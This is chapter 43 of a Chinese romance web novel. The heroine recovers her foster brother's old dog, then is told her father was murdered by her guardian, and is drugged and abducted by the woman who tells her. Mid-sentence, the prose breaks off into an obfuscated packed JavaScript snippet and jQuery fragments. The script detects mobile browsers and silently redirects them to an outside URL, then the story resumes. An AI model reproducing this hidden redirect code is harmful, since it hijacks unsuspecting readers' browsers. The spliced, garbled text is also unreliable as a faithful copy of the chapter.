43. 意外

作品:《蔷薇心事

    夏夜随院里造景用的小溪静静流走,蒋时微居家,陪裴叙过安静避世的暑假。


    从前裴叙厌烦书法,不到万不得已,不会动笔写字。


    爷爷去世后,他心浮气躁,竟难得地主动钻进书房,写了很多字。


    他挥毫的时候,时微就在旁边帮他磨墨、展纸。他让梁妈做冰镇小甜食来,隔一会儿敲一次门,敲得时微直无奈:“哥哥,这是书房,不是甜品屋。”


    裴叙说:“不能累着我宝,歇着去吧,我自己来。”


    时微乖乖去坐沙发,在一桌缤纷的甜食里挑出桂花红豆沙,边看裴叙写字边喝。


    她略掀眼帘,瞥见裴叙兀自收了笑意,凝眉肃目的,像在苦恼这字怎么也写不好。


    过不久,她端一碗杨梅冰慢慢踱过去,轻搁在书案,顺道看裴叙写出什么“大作”来。


    是狂草的两个字:盛宴。


    蒋时微记忆深处有一个傲气的裴大少爷,千人捧万人爱;也有一个年年过生日要找由头去派对,很晚才回家的哥哥。


    她到北京的第四年,裴叙十八岁,终于在家完整度过一个生日。


    裴老要给他大办,他拗不过只得同意。


    当天来的客人多半是捧裴家的场子,独为裴叙一个人来的朋友只占一小桌。


    最后,裴叙撇下这场盛宴,拽着时微逃去后院,让时微看他小时候搭的木头房子。


    他说那是一个狗窝,他原来有一条小白狗叫Lucas。


    小时微问:“Lucas去哪里了?”


    “不知道,”裴叙说,“那年我过生日,我爸带老婆回来,Lucas跑出去迎他们。”


    “谁知道林瑜欣对狗毛过敏,”裴叙嗤笑一声,“那天以后,我就再也没见过Lucas。”


    宴会厅正推杯换盏,是为裴叙准备的登云梯,裴叙却在徒劳地补自己心上那个窟窿。


    彼时年纪尚小的时微替他委屈,但无能为力。


    现下蒋时微想试一试,这场盛宴能不能从幻影变成现实。


    -


    隔天北京城酷热,时微借口同学聚会,由司机送下山。


    她倒也没想出什么绝顶好的办法,只凭一腔热血,直接上门找裴琰开口要:“裴叔,我想养Lucas。”


    裴琰一听就笑:“阿叙派你来的?”


    时微:“我自己来的。”


    裴琰:“这么些年,我想让他喊瑜欣一声妈,就那么难呢。”


    时微不语,抿了抿唇。


    “他宁愿过有爸有妈像没爸没妈的日子,”裴琰笑意渐淡,“也不肯向我低头。”


    时微还是不说话,她很清楚,自己一张嘴只能说出维护裴叙的话。


    她不理解裴叔在强求什么,明知裴叙倔强,硬要折他身骨。


    拥有父母全部完整的爱,但父母英年早逝;父母双全,但各自偏爱的孩子不是自己,只能像局外人一样看他们家庭美满。


    一时比较不出来,哪个更惨些。


    正因为诸多不圆满,在爱意疯长之前,她和裴叙之间生出了骨血。


    “所以,”她焦急地问,“Lucas还在吗?”


    裴琰望着她紧皱的眉头,心绪复杂,过了好一会儿说:“寄养在西城一家宠物店,年纪大了,但还在吧。”


    四十分钟后,裴琰亲自开车,把时微送到宠物店,顺利接回Lucas。


    裴叙口中的小白狗已经变成大白狗,毛发蓬松、性子活泼,健康且亲人,第一次见时微也不认生。


    时微坐在车后排,抱着Lucas的脖子,像做梦一样,不敢相信这么容易就能找回它。


    对她而言,向裴琰开口不难。


    对裴琰而言,只要是时微开口要的东西,总不好意思拒绝。


    这样简单的一件事,在裴叙那里却那么难。


    蒋时微莫名有点想哭,下巴埋在Lucas毛绒绒的脑袋上,呆呆地看向前方。


    裴琰原打算送时微回家,车刚驶离宠物店,就接到工作电话。


    他停了车,对时微说:“抱歉,司机二十分钟后到,微微在咖啡店等一等好吗?”


    时微乖巧点头,牵着狗下车,好声道别:“裴叔再见。”


    路旁刚好有家咖啡店,门口挂着宠物友好的牌子。时微走进去,点了杯冰维也纳,百无聊赖地等待。


    裴叙十分钟前发来信息,问她什么时候回家,她说:「快了。我给你准备了惊喜,你猜猜是什么。」


    裴叙:「席上打包的残羹冷炙。」


    时微:「才不是。」


    裴叙:「和Eden的分手消息。」


    时微:「求你盼我点好。」


    裴叙:「猜不着了,姑奶奶,您快些到家就是最好的惊喜。」


    时微:(翻白眼)


    咖啡端上桌了,蒋时微慢慢喝一口,眼睛还盯着手机屏。


    眨眼的功夫,对面突然坐了一位优雅女士。


    时微抬头看周围,店里有不少空座,面前这女人却直接冲她来。


    她狐疑地看她一眼,然后迅速换座位。那女人果断跟着起身,仍然坐在她对面。


    时微攥紧狗绳说:“您好,我不喜欢跟人拼桌。”


    对面的女士笑一笑:“时微,我有事找你,只耽误你两分钟。”


    听到自己的名字,时微皱紧眉头,没有回话。


    女士说:“我叫曲佑菲,是你父亲的同学,职业法医。关于你父亲的早逝,我想你有知情权。”


    蒋时微时刻准备逃走,听完这句话犹豫了。


    曲佑菲从随身背的挎包里拿出一份文件,翻开最后一页,推到时微面前。


    “当年给你父亲做尸检的人是我。”


    时微本能抗拒这份材料,直觉这是薛家的欺骗手段。可眼前这位陌生阿姨,看起来和薛家没有一点关系。


    时微移开视线,稳住声音问:“您想告诉我什么?”


    曲佑菲看向蒋时微的眼神充满怜爱,好像很痛心薛岚之死,话语上并没拐弯抹角。


    “简而言之,你父亲薛岚死于枪杀。”


    时微脑袋里“轰”的一下,表情没控制住。


    还是太年轻了,藏不住心事。


    曲佑菲说:“这里不是好说话的地方,不如去我车上,我把当年的事实都告诉你。”


    时微警觉起来:“您给我发邮件吧,不好说话就用文字表达。”


    曲佑菲摇头:“都是不能外传的材料,留下痕迹是大忌。”


    时微抬起眼,见曲佑菲气质确实像一名法医。且她表情坦然、目光沉静,时微不禁怀疑自己多心。


    曲佑菲不等她回应,兀自起身:“我在门外等你,你可以选择来或者不来。”


    说完她去买单,顺便把时微那份也付了。


    门外停着一辆奥迪,车门敞开着,曲佑菲上车后也没关上。


    时微弯腰揉Lucas的脑袋,小声说:“一会儿要是情况不对,你帮我咬她。”


    Lucas仿佛能听懂时微说话,点了点头,时微笑了:“乖孩子。”


    她牵着狗离开咖啡馆,坐上奥迪的后排。


    随着车门关闭,交通喧嚣被隔绝在外,耳畔只有大狗呼吸的声音。


    时微默默抱紧Lucas:“您有话直说。”


    曲佑菲嘴角扯动一下,时微看不出那是否算一个笑,她只觉得对方面部肌肉僵硬,似乎有很多话说不出口。


    过了大概十秒钟,曲佑菲艰难启唇:“你爸爸并非死于余震,他是被人害死的。”


    时微心脏加速跳动,像坐在跳


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15252681|162601||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    楼机上。


    曲佑菲说:“杀他的人是你这十一年来敬若养父的人,裴琰。”


    话音落地,刚才还在“砰砰”乱跳的心像死了一样,干脆不跳了。


    蒋时微觉得这话荒谬,无异于告诉她太阳从西边升起,东边落下。


    曲佑菲对她的反应早有预料:“你不想知道为什么?”


    时微:“在问为什么之前,我得先问是不是。”


    曲佑菲:“孩子,你很聪明。可这世上有很多真相,能被钱和权掩盖过去。有时候,你先知道了为什么,才能反推是不是。”


    蒋时微意识到自己正落入曲佑菲的话术陷阱,直接闭嘴不答,等曲佑菲交代全部。


    沉默几秒钟后,曲佑菲说:“你不觉得奇怪吗?裴琰把你的抚养权拿到手,却一直对你很冷淡。”


    时微反驳:“裴叔对我很好。”


    “是吗?我听说……”


    “阿姨,打断一下,请问您从哪儿听说我家的事呢?”


    “裴琰也算有头有脸的人物了,”曲佑菲说,“这些八卦,坊间还是会传几句的。”


    时微:“那我澄清一下,裴叔对我很好。”


    要说冷淡,他连对亲儿子裴叙都那样,更何况寄养的友人之女。有裴叙这个参照物在,裴琰的态度实在说明不了什么。


    曲佑菲被截了话头也不恼,径自说:“那你也不奇怪,裴琰和陈婉为什么离婚吗?我和裴琰以及你父母是大学同学,他们之间的恩怨,我可一清二楚。”


    “裴琰养着你,是顾念他对你母亲的感情。裴琰不喜欢你,是因为他恨你父亲抢走你的母亲。”


    “他看见你就想起舟琴,同时也想起薛岚。所以他一面忠于自己的深情,一面从心底里厌恶你。”


    “你父母结婚那天,裴琰亲口说,他和舟琴青梅竹马,凭什么让一个后来者抢了先?他喝醉了,说要杀了薛岚。”


    “当年案发后,裴家费尽心思保下裴琰,把谋杀伪装成牺牲,让薛岚风风光光葬进烈士陵园,以求安慰。”


    “你就这样在杀父仇人家里,无名无分地长了十一年,甚至连收养手续都没办。”


    “时微……”


    曲佑菲说到最后,眼泪掉了下来。


    蒋时微没反应,手放在车门开关上,试了一下没能打开,曲佑菲把门锁上了。


    “我要下车,”时微说,“你把门打开。”


    曲佑菲睁大双眼:“你不相信?”


    蒋时微冷冷道:“您既然是一名法医,就该知道证据的重要性。凭你在这里说几句话,我就该信你吗?”


    曲佑菲:“我带了卷宗和其他证据,是你不看!”


    时微:“不好意思,虽然裴叔的人品有待商榷,但我妈的眼光不会出错。”


    “你妈妈被他骗了!”


    “我妈的智商也不容置疑,谢谢。”


    时微想开车门,与此同时Lucas冲着曲佑菲狂吠。曲佑菲突然掏出一支针剂,对准Lucas的脖子扎进去。


    “Lucas!”时微扑过来抱起它。


    大狗软绵绵地晕倒,像一块浸了水的厚重棉花。


    曲佑菲拿着麻醉枪,漠然说:“薛小姐,你还是跟我回家吧,跟你爷爷作对没好处。”


    蒋时微瞪她,轻视多于怨愤:“如果我说不呢?”


    曲佑菲微笑:“你是薛老的宝贝继承人,我动不了你。但你怀里这条狗,我看稀罕得很。只怕一觉醒来,你只能看见它剥了皮的尸体了。”


    蒋时微浑身发抖,嘴唇白了又白。


    “不许动我的狗,”她搂紧Lucas沉重的身体,眼中透出与本性不符的狠厉,“否则,我也会剥了你的皮。”


    下一秒,她和Lucas一样四肢发软,无力地倒在车座椅上。